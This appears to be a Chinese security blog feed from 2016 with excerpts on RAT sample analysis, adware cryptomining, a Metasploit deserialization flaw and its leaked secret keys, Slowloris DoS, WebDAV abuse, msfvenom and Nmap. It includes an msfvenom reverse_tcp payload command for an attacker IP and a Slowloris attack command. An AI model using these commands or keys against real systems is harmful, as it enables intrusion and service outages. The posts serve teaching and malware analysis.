BOT可以响应多种IRC命令，这些命令的处理被保存在一个数组中。

IRC命令

这里需要关注的是“PRIVMSG”命令，因为它被用于执行具有威胁的动作，例如洪水攻击、下载文件、远程登录扫描等，这些命令被保存在静态数组中。

BOT可用的命令

在样本文件中静态存储着对威胁命令的解释字符串，可以帮助理解。

wget命令详解，wget下载目录，断点续传,Wget下载整站,Linux Wget下载命令大全

Thu, 22 Sep 2016 06:40:26 +0000

Linux wget是一个下载文件的工具，它用在命令行下。对于Linux用户是必不可少的工具，尤其对于vps管理，经常要下载一些软件或从远程服务器恢复备份到本地服务器，主机博士介绍下 Linux Wget命令用法和实例分析。

wget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。

它有以下功能和特点：

(1)支持断点下传功能;这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了;

(2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件;

(3)支持代理服务器;对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能;

(4)设置方便简单;可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标;

(5)程序小，完全免费;程序小可以考虑不计，因为现在的硬盘实在太大了;完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的;

下面我们以实例的形式说明怎么使用wget。

Linux Wget下载整站命令说明：

wget这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。

wget -r -p -np -k http://xxx.com/abc/

-r, –recursive(递归) specify recursive download.(指定递归下载)

-k, –convert-links(转换链接) make links in downloaded HTML point to local files.(将下载的HTML页面中的链接转换为相对链接即本地链接)

-p, –page-requisites(页面必需元素) get all images, etc. needed to display HTML page.(下载所有的图片等页面显示所需的内容)

-np, –no-parent(不追溯至父级) don’t ascend to the parent directory.

另外断点续传用-nc参数日志用-o参数

Linux Wget命令使用技巧：

1、使用wget下载单个文件

以下的例子是从网络下载一个文件并保存在当前目录

wget http://cn.wordpress.org/wordpress-3.1-zh_CN.zip

在下载的过程中会显示进度条，包含(下载完成百分比，已经下载的字节，当前下载速度，剩余下载时间)。

2、使用wget -O下载并以不同的文件名保存

wget默认会以最后一个符合”/”的后面的字符来命令，对于动态链接的下载通常文件名会不正确。

错误：下面的例子会下载一个文件并以名称download.php?id=1080保存

看看影音恶意挖矿行为分析

Wed, 21 Sep 2016 16:51:40 +0000

近日，部分用户出现电脑GPU占用率高，电脑温度升高，风扇噪声增大等问题。具体现象为电脑中C盘可使用空间骤降，且在C盘Ethash文件夹内，发现存在大量的1G左右的垃圾文件；电脑闲置状态时，风扇转速增快，电脑发热增加，GPU使用率达到100%。非闲置状态时，恢复正常。经过远程调试分析发现是看看影音在后台偷偷利用用户电脑的运算资源进行以太币（一种类似比特币的数字货币）挖矿导致。

[看看影音的版本和公司信息]

安装看看影音后，会注册组件%APP_DATA%\Video Legend\RBC\Program\RBCShellExternal.dll到注册表的explorer加载项，从而开机即可加载运行，然后通过lua脚本控制，下载挖矿模块到本地利用GPU挖矿，整个流程如下图所示：

[看看影音挖矿行为整体流程简图]

RBCShellExternal.dll 分析

该组件是一个商业功能模块，RBC是Remote Bussiness Control的缩写。顾名思义，这个模块可以通过远程配置来控制用户电脑上运行不同的模块，比如升级、修复、广告弹窗、推广安装等，也包括挖矿。

RBCShellExternal.dll会通过rundll32.exe来加载模块RBCEntry.dll，并通过命令行参数来检测调试工具。

[加载RBCEntry.dll的命令行]

完整命令行如下：

rundll32.exe"%APP_DATA%\Video Legend\RBC\Program\RbcEntry.dll", Control_RunDLL/thread /src ..\\..\\Xar\\Rbc.xar /killex /priority 0 /checktime /delay 1 /idle%d /busy %d  /debug /bkwndlist"Microsoft Visual;HTTPAnalyzer;WinDBG;OllyDebug;fiddler;SmartSniff;\t\t\t\t\t\t\t\tSpy++;Spy;ATL/MFC;任务管理器;DebugView;Process Explorer;File Monitor;RegistryMonitor;Wireshark;OllyICE;OllyDBG;Sysinternals" /bkprocesslist"fiddler.exe;windbg.exe;devenv.exe;taskmgr.exe;wireshark.exe;\t\t\t\t\t\t\t\t\thttpanalyzer.exe;smsniff.exe;filemon.exe;regmon.exe;procmon.exe;ollydbg.exe;softice.exe;cis.exe;\t\t\t\t\t\t\t\t\ttasklist.exe;procexp.exe;ollyice.exe;processspy.exe;spyxx.exe;winspy.exe;cv.exe"

参数/src指定了要加载的lua脚本模块(已打包成xar格式)，通过lua脚本来控制任务；参数/bkwndlist指定要查找的窗口标题，参数/bkprocesslist指定要查找的进程名，一旦枚举到指定的窗口或进程名，立刻结束进程，防止被用户发现。

LUA 脚本分析

RbcEntry.dll封装了LUA引擎，加载后首先解析Rbc.xar，然后调用其中的onload.lua，启动整个脚本。Rbc.xar是任务调度模块，核心功能是从云端下载任务控制脚本并加载运行。

Rbc.xar解包后目录树如下：

Rbc.xar

│

└─layout

│ onload.lua

│

└─luacode

kkp.curl.lua

rbc.base.lua

rbc.eventsource.lua

rbc.filter.lua

rbc.helper.lua

rbc.lua

rbc.scheduler.lua

rbc.setting.lua

rbc.task.lua

rbc.version.lua

onload.lua主要功能是加载各个脚本，代码如下：

[onLoad.lua加载脚本]

最后加载rbc.scheduler.lua里面包含了远程配置的任务脚本url：http:/***.kankan.com/rbc/taskschedule_v1.2.dat

[rbc.scheduler.lua调度脚本]

从各个函数名称可以看出，该脚本是主要功能是调度任务的运行。而脚本taskschedule_v1.2.dat则是真正的任务脚本。

taskschedule_v1.2.dat中配置了各种任务的参数，其中挖矿任务的参数配置块如下：

[挖矿任务脚本的参数配置块]

其中link就是该任务模块的下载地址，通常是xar包；frequency是执行频率；googleid和cnzzid是活跃统计标识。configurl是脚本里面使用的远程配置，主要是挖矿DLL模块的下载地址和MD5，具体内容请看下文。

任务模块下载后保存在%APP_DATA%\VideoLegend\RBC\Task目录下：

[%APP_DATA%\VideoLegend\RBC\Task下生成的各任务目录]

整理所有任务URL，如下：

Metasploit曝远程代码执行漏洞：别惹我，我疯起来连自己都黑

Wed, 21 Sep 2016 15:10:14 +0000

就在本周，Rapid7社区发布两个关于Metasploit框架的安全补丁，通过这两个漏洞，攻击者可以远程非授权执行任意代码。目前，安全研究人员已经发放出相关POC攻击代码。

漏洞一：Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid

漏洞信息

OVE ID: OVE-20160904-0001

私有披露日期: 2016-09-04

公开披露日期: 2016-09-19

厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

漏洞描述

Metasploit作为一个安全测试框架，里面集成了非常多的功能，比如msfconsole，msfvenom等，并且也提供了非常多的接口和界面，比如shell接口，Windows GUI页面，WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid，并且引入了hybrid cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401，才将其值设置为:json。也就是说，只要cookie序列化设置为Marshal或hybird时，并且攻击者知道cookie signing key的值，那么攻击者就可以构造cookie，触发Marshal反序列化，实现任意代码执行。

参考

[0] http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html

[1] https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization

漏洞二：Metasploit本周发布了静态的secret_key_base，这个将会导致远程命令执行代码

漏洞信息

OVE ID: OVE-20160904-0002

私有披露日期: 2016-09-04

公开披露日期: 2016-09-19

厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

漏洞描述

通过第一个漏洞，我们已经可以确定cookie序列化设置为hybird，但是攻击者还必须知道cookie signing key的值才可以构造cookie，实现远程代码执行。非常不幸的是，MSF WEB UI中的secret_key_base是静态的，并且该值是公开的。以下是目前已知受影响的MSF的值：

4.12.0-2016061501版本：d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7

4.12.0-2016062101版本：99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc

4.12.0-2016072501版本：446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde

4.12.0-2016081001版本：61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a

4.12.0-2016081201版本：23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32

4.12.0-2016083001版本：18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615

Bifrost1.2.1d远控木马样本分析报告

Wed, 21 Sep 2016 13:50:24 +0000

样本来源 http://www.aljyyosh.com 样本类型 BDS.Bifrose.aec 分析时间 2016-9-20 运行环境 控制端：Windows7 x64 木马端：Windows XP

分析目的 找出木马与控制端通信的特征码

分析过程 (1) 配置木马端

图1-配置木马

1. 木马端默认配置使用81端口，也可自行更改为其他端口。 2. 可同时设置多个不同的服务端地址，也可以使用Scoks4代理的方式上线。 3. 其他设置，配置过程中还可配置木马安装目录、注册表键值、离线键盘记录等功能。 4. 点击Build完成创建客户端。 (2) 安装木马端 1. 在主机1（IP：10.0.3.160）上打开控制端，安装生成的木马样本（server.exe）到主机2（IP：10.0.3.153）. 2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据. 3. 在主机2上双击安装木马样本。

(3) 开始分析 1. 进程监视，样本安装后通过进程管理器可以看到，系统会生成进程名为server.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作,上述操作完毕后，木马端会自动关闭进程。如下图：

图2-进程监视

2. 木马端安装后会在配置木马端时选择的安装目录（默认目录为C:\Program Files）下创建Bifrost文件夹并生成一个新的server.exe文件。如图：

图3-默认安装目录

3. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端81端口。如下图：

图4-连接端口

4. 在控制端打开文件管理功能，尝试打开文件夹、删除文件等其他操作后查看抓取的数据包。如图：

图5-文件管理功能

经过多次抓包对比分析后，确认样本该控制端的通信特征为：00 00 00 2a 3d ba 1a.如下图：

图6-通信特征

5. 关闭控制端断开与木马端的连接，继续抓包，统计后发现若控制端未打开，木马上线后连接请求频率约12秒一次。如下图：

图7-木马端连接请求

6. 配置木马端时改变连接密码再重复以上操作，抓包分析发现，改变连接密码后通信特征码不变。若控制端连接密码错误，则木马端随机使用一端口号连接控制端81端口，大约每隔11秒，端口号+2并再次尝试连接控制端。如下图：

图8-连接密码错误时的连接请求

数据记录和计算 无

结论

Ramcos远控木马样本分析报告

Tue, 20 Sep 2016 12:54:43 +0000

样本来源http://Breaking-Security.net样本类型Win32.Backdoor.Remcos.Agba分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1) 配置木马端

图1-配置木马

1. 木马端默认配置使用2404端口，也可自行更改为其他端口。

2. 可设置上线密码，默认密码为pass。

3. 其他设置，配置过程中可设置后门安装目录，键盘记录等其他功能，部分功能需要升级到专业版才能使用，如图2。

图2-安装设置

4. 选择压缩方式后点击Builde,完成创建。如下图

图3-生成木马样本

(2) 安装木马样本

1. 在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（Backdoor.exe）到主机2（IP：10.0.3.159）.

2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。

3. 在主机2上双击安装木马样本。

(3) 开始分析

进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为Backdoor.exe的新进程，同时会进行镜像加载、查询注册表键值等一系列操作。如图4：

图4-进程监视

通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端2404端口。如图5：

图5-连接端口

3. 样本采用未知编码方式加密，从通信数据流中可以看出使用默认密码时样本通信特征码为：1b84d5b05df4c493c530c2. 如图6：

图6-通信特征

若配置样本时不使用默认密码（自定义连接密码为123456），通过wrieshark抓包分析，特征值改变，如图7：

图7-修改连接密码后的特征值

5. 统计后发现若控制端未打开，木马上线后连接请求频率约6秒一次。

数据记录

和计算无结论1. 使用默认密码时的样本数据特征: 1b84d5b05df4c493c530c2

2. 样本特征值会随配置时设置连接密码的不同而改变

3. 默认配置下木马端主动连接控制端TCP2404端口（端口可更改）

4. 木马上线连接请求频率约5秒一次。

NanoCore远控木马样本分析

Tue, 13 Sep 2016 09:58:18 +0000

样本来源https://nanocore.io/样本类型TR.Dropper.MSIL.GEN7分析时间2016-9-7运行环境Windows7 x64分析目的找出木马被控端与控制端通信的特征码分析过程(1) 配置木马端

图1-配置木马 1. 木马端默认配置使用54984端口，也可自行更改为其他端口。

2. 可同时设置两个不同的服务端地址，其中一个为备用地址。

3. 其他设置，配置过程中还可设置客户端DNS服务地址，打开键盘记录等其他功能。

4. 点击Compile完成创建客户端。

(2) 安装客户端

1. 在主机1（IP：10.0.3.154）上打开控制端，安装生成的木马样本（nano.exe）到主机2（IP：10.0.3.159）.

2. 在主机1上开启Wireshark抓取主机1与主机2之间的通信数据，同时在主机2上打开进程监控工具。

3. 在主机2上双击安装木马样本。

(3) 开始分析

1. 进程监视，样本安装后通过进程监视器可以看到，系统会生成进程名为nano.exe的新进程，同时会进行镜像加载、查询本机注册表等一系列操作。如下图：

图2-进程监视

2. 通过对主机1和主机2之间通信的数据包分析可发现，木马端在主机2上安装后，打开一个随机端口主动连接控制端54984端口。如下图：

图3-连接端口

3. 样本采用未知编码方式加密，从通信数据流中可以看出样本通信特征码为：08000000c1c3d0324359a178. 如下图：

图4-通信特征

4. 统计后发现若控制端未打开，木马上线后连接请求频率约5秒一次数据记录

和计算无结论1. 样本数据特征: 08000000c1c3d0324359a178

2. 默认配置下被控端主动连接控制端TCP54984端口（端口可更改）

3. 木马上线连接请求频率约5秒一次。

浅谈Slowloris拒绝服务攻击

Tue, 13 Sep 2016 09:26:42 +0000

原文地址：浅谈Slowloris拒绝服务攻击作者： xcgsnowdrop

DDOS又称为分布式拒绝服务，全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载，导致服务不可用。比如一个停车场共有100车位，当100车位都停满后，再有车想要停进来，就必须等待已有的车先出去才行。如果已有的车一直不出去，那么停车场的入口就会排气长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。

常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷，此处先避开不谈。

Slowloris攻击则是利用Web Server的漏洞或设计缺陷，直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。

Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法，其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。

要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。

GET / HTTP/1.1\r\n

HOST: host\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n

Content-Length: 42\r\n

在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。

由于Web Server只收到了一个\r\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。

X-a: b\r\n

当构造多个连接后，服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序，其核心代码置于文章底部，记为slowloris.pl），下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务：

一，准备工作

1.在本机安装配置好Apache2.x，设置MaxClients为50

2.在Browser中访问http://127.0.0.1，结果显示正常

3.下载或编写slowloris.pl脚本

二，开始阶段

1.测试每个http连接等待超时时间，前面我们说过，当Web Server只收到了一个\r\n时，因将其认为HTTP Headers部分尚未结束，故会保持此连接不释放，继续等待完整的请求，此处测试的即为该连接等待完整请求的超时时间。

perl slowloris.pl -dns 127.0.0.1 -port 80 -test

Webdav安全配置相关与漏洞利用

Mon, 12 Sep 2016 05:58:57 +0000

0x00 简介

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。

使应用程序可直接对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。

IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。

但因为其没有采用影射的方式，所以IIS的主程序w3svc.dll本身包含了Webdav的信息。

其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。

对于常见几种请求方法 GET、HEAD、POST 等，因为常见一些映射都支持。

所以不能以请求方法作为Webdav请求的判断，w3svc.dll就根据请求头的字段识别。

如果请求头里面包含 Translate:、 If:、 Lock-Token: 中的一种，就认为是Webdav的请求。

Translate: 就是那个 Translate:f 的泄露源代码的一个请求头，其实设置别的两个也是一样的。

可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法 TRACK、 TRACE 等。

TRACK 就是用于调试错误的，如果收到这样的请求头，w3svc.dll会原样返回请求数据。

相当于我们常见的ping.exe。

IIS对 TRACK 请求没有进行LOG记录，这点我们可以用于来获得banner。

对于IIS将优于大家习惯使用的 HEAD。

如果上面的请求方法没匹配，那么w3svc.dll就会认为是Webdav的请求，交给httpext.dll处理了。

这些请求包含Webdav支持的 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等。

0x01 配置

为了安全上的考虑，IIS默认并不会启动WebDAV的功能，因此必须另外来激活它。

通过启动“IIS管理器”，展开本地计算机，选择“Web服务扩展”，选择“允许”的途径来启动WebDAV功能。

开启WebDAV之后，IIS就支持 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等方法了。

当IIS中的配置允许写入的时候就可以直接PUT文件上去，由此可能引发非常严重的安全问题，强烈建议禁制

一键搭建适用于Ubuntu/CentOS的IKEV2/L2TP的VPN

Sat, 03 Sep 2016 21:21:06 +0000

使用bash脚本一键搭建Ikev2的vpn服务端.

特性

服务端要求：Ubuntu或者CentOS-6.*

客户端：

iOS/OSX=>ikev1,ikev2

Andriod=>ikev1

WindowsPhone=>ikev2

其他Windows平台=>ikev2

可使用自己的私钥和根证书，也可自动生成

证书可绑定域名或ip

要是图方便可一路回车

服务端安装说明

下载脚本:
```
wget --no-check-certificate https://raw.githubusercontent.com/quericy/one-key-ikev2-vpn/master/one-key-ikev2.sh
```
- 注:如需使用其他分支的脚本,请将上述url中的master修改为分支名称,各分支区别详见本页的分支说明节点
运行( 如果有需要使用自己的根证书请将私钥命名为ca.pem，将根证书命名为ca.cert.pem，放到脚本的相同目录下再运行该脚本)：
```
chmod +x one-key-ikev2.sh
bash one-key-ikev2.sh
```
等待自动配置部分内容后，选择vps类型（OpenVZ还是Xen、KVM）， 选错将无法成功连接，请务必核实服务器的类型。输入服务器ip或者绑定的域名(连接vpn时服务器地址将需要与此保持一致)，以及证书的相关信息(C,O,CN)，为空将使用默认值(default value)，确认无误后按任意键继续
是否使用SNAT规则(可选).使用前请确保服务器具有不变的 静态公网ip,可提升防火墙对数据包的处理速度.默认为不使用.
补充网卡接口信息,为空则使用默认值(Xen、KVM默认使用eth0,OpenVZ默认使用venet0).如果服务器使用其他公网接口需要在此指定接口名称,否则连接后可能无法访问外网)
输入两次pkcs12证书的密码(可以为空)
看到install Complete字样即表示安装完成。默认用户名密码将以黄字显示，可根据提示自行修改配置文件中的用户名密码,多用户则在配置文件中按格式一行一个(多用户时用户名不能使用%any),保存并重启服务生效。
将提示信息中的证书文件ca.cert.pem拷贝到客户端，修改后缀名为.cer后导入。ios设备使用Ikev1无需导入证书，而是需要在连接时输入共享密钥，共享密钥即是提示信息中的黄字PSK.

客户端配置说明:

连接的服务器地址和证书保持一致,即取决于签发证书ca.cert.pem时使用的是ip还是域名;
Android/iOS/OSX 可使用ikeV1,认证方式为用户名+密码+预共享密钥(PSK);
iOS/OSX/Windows7+/WindowsPhone8.1+/Linux 均可使用IkeV2,认证方式为用户名+密码,均需要先导入证书,可将ca.cert.pem更改后缀名作为邮件附件发送给客户端,手机端也可通过浏览器导入,其中:
- iOS/OSX 的远程ID和服务器地址保持一致,用户鉴定选择"用户名".如果通过浏览器导入,将证书放在可访问的远程外链上,并在 系统浏览器(Safari)中访问外链地址;
- Windows PC 系统导入证书需要导入到 “本地计算机” 的"受信任的根证书颁发机构",以"当前用户"的导入方式是无效的.推荐运行mmc添加本地计算机的证书管理单元来操作;
- WindowsPhone8.1 登录时的用户名需要带上域信息,即wp"关于"页面的设备名称\用户名,也可以使用%any %any : EAP “密码"进行任意用户名登录,但指定了就不能添加其他用户名了.
- WindowsPhone10的vpn还存在bug(截至10586.164),ikeV2方式可连接但系统流量不会走vpn,只能等微软解决. (截至14393.5 ,此bug已经得到修复,现在WP10已经可以正常使用IkeV2.)
- Windows10 也存在此bug,部分Win10系统连接后ip不变,没有自动添加路由表,使用以下方法可解决(本方法由 bigbigfish 童鞋提供):

linux下vi操作Found a swap file by the name

Sat, 03 Sep 2016 21:15:45 +0000

当我在linux下用vi打开Test.java文件时

[root@localhost tmp]# vi Test.java

会出现如下信息：

Dos代码

E325: ATTENTION
Found a swap file by the name “.Test.java.swp”
owned by: root dated: Wed Dec 713:52:562011
file name: /var/tmp/Test.java
modified: YES
user name: root host name: localhost
process ID: 26153 (still running)
While opening file “Test.java”
dated: Wed Dec 714:00:462011
NEWER than swap file!
(1) Another program may be editing the same file.
If this is the case, be careful not to end up with two
different instances of the same file when making changes.
Quit, or continue with caution.
(2) An edit session for this file crashed.
If this is the case, use “:recover” or “vim -r Test.java”
to recover the changes (see “:help recovery”).
If you did this already, delete the swap file “.Test.java.swp”
to avoid this message.
“Test.java” 11L, 237C
Press ENTER or type command to continue

原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断，所以在当前目录下产生了一个.Test.java.swp文件

使用Strongswan架设Ipsec VPN

Sat, 03 Sep 2016 21:12:13 +0000

本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。

注意 Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同（作废了很多选项），请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套，同样 openSUSE 用户也不要拿 Debian 的来套。

注意本文的例子仅以最常见的 VPS/客户机模式为例，假设客户机使用图形客户端，因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器（Site to Site）的连接，但这种连接的客户端文本配置部分需要领会原理自己写。

注意本文只适用于有 VPS 的爱好者使用，并不提供已建立好的 demo 供测试，但保证文中出现的配置如无意外如上游改选项，实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题，如何优惠购买 VPS 请到我们的论坛 forum.suse.org.cn。本文也不讨论如何进行后台计费，但提供了计费软件的名称供 VPN 服务商参考，因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户，那解散才是治本的方法，其它都只能治标。

什么是 IPsec？

IPsec 是虚拟私密网络（VPN）的一种，用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成，第一阶段（Phrase 1, ph1），交换金钥建立连接，使用互联网金钥交换（ike）协议; 第二阶段（Phrase 2, ph2），连接建立后对数据进行加密传输，使用封装安全载荷（esp）协议。参考：维基百科 IPsec 词条。

Meatsploit Framework msfvenom使用简介

Wed, 24 Aug 2016 14:01:23 +0000

2015年6月8日，Wei Chen在rapid7官方博客上发文，将于近期移除metasploit-framework版本中的msfencoder和msfpayload， 并使用msfvenom取代。官方的msfvenom使用说明 戳这里 ，下面给出翻译的使用说明。

最近一次更新的msf中已经去掉了这两个工具，同时，msfcli也即将被移除。

kali和BT目前使用的MSF依然是旧版，所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋，可能已经发现这个东西了。

msfvenom命令行选项如下：

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder（编码器）
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集，比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作，注入的payload作为一个新的进程运行
        --payload-options            列举payload的标准选项
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量，以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

生成payload

生成payload，有有两个必须的选项：-p -f

使用-p 来指定要使用的payload。

可以使用下面的命令来查看所有msf可用的payload列表

./msfvenom -l payloads

-p选项也支持使用使用自定义的payload，需要使用 “-"，比如:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

举例：

./msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令，可以产看msf支持的输出格式

./msfvenom --help-formats

一个典型的msfvenom使用举例如下：

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe

对payload进行编码

如果你使用了-b选项（设定了规避字符集），会自动调用编码器。

其他情况下，你需要使用-e选项来使用编码模块，例如：

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令，来查看可用的编码器

Nmap在实战中的高级用法

Wed, 24 Aug 2016 03:22:50 +0000

Nmap提供了四项基本功能（主机发现、端口扫描、服务与版本侦测、OS侦测）及丰富的脚本库。Nmap既能应用于简单的网络信息扫描，也能用在高级、复杂、特定的环境中：例如扫描互联网上大量的主机；绕开防火墙/IDS/IPS；扫描Web站点；扫描路由器等等。简要回顾Nmap简单的扫描方式：

全面扫描：nmap-T4-Atargetip

主机发现：nmap-T4-sn targetip

端口扫描：nmap-T4 targetip

服务扫描：nmap-T4-sV targetip

操作系统扫描：nmap-T4-Otargetip

上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息，则需仔细地设计Nmap命令行参数，以便精确地控制Nmap的扫描行为。

下面列举比较实用的高级应用场景和技巧。

1 Nmap高级选项

1.1 查看本地路由与接口

Nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时，可以查看nmap –iflist中提供的网络接口信息。

nmap –iflist

1.2 指定网口与IP地址

在Nmap可指定用哪个网口发送数据，-e 选项。接口的详细信息可以参考–iflist选项输出结果。

示例：

nmap -e eth0 targetip

Nmap也可以显式地指定发送的源端IP地址。使用-S 选项，nmap将用指定的spoofip作为源端IP来发送探测包。

